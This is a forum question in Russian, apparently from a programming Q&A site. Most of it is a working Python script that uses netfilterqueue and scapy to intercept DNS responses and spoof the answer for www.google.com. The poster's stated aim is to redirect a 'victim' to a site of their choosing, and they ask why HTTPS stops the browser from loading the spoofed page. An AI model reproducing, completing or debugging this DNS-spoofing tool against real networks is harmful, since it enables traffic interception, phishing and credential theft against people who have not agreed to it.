Я создал небольшой скрипт в Python для подмены DNS-запросов и ответов, чтобы я мог перенаправить жертву на определенный веб-сайт, когда он выполняет поиск типа "wwww.google.com". В настоящее время он работает только в Python2, поскольку NetFilterQueue в Python3 вызывает ошибку атрибута для метода set_payload.
Вот код:
import netfilterqueue
import scapy
from scapy.layers.inet import IP, UDP
from scapy.layers.dns import DNSRR, DNSQR, DNS
def processPacket(packet): # packte is str
scapy_packet = IP(packet.get_payload())
if scapy_packet.haslayer(DNSRR):
qname = scapy_packet[DNSQR].qname
if "www.google.com" in qname.decode("utf-8"):
print("*** Spoofing target ***")
# creating response
response = DNSRR(rrname = qname, rdata = "IP")
scapy_packet[DNS].an = response
scapy_packet[DNS].ancount = 1
del scapy_packet[IP].len
del scapy_packet[IP].chksum
del scapy_packet[UDP].len
del scapy_packet[UDP].chksum
packet.set_payload(str(scapy_packet))
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, processPacket)
queue.run()
Для выполнения этого вы нужно правильно настроить iptables для перехвата пакетов внутри очереди. Это на самом деле работает, если я нацеливаюсь на www.google.com и устанавливаю указанный c IP (в коде, который я оставил в поле rdata как IP, вы должны поместить реальный адрес), и я пингую www.google.com, я получу IP, который я установить в коде как ответ, НО, когда я на самом деле наберу www.google.com в строке поиска (Firefox), страница не загрузится и выдаст ошибку. Я попробовал это локально, я также установил сервер Apache2 на машине, поэтому я должен видеть страницу Apache2 при поиске www.google.com.
Это связано с тем, что Google использует HTTPS ? Или это больше похоже на конфигурацию безопасности на моем маршрутизаторе?
Спасибо!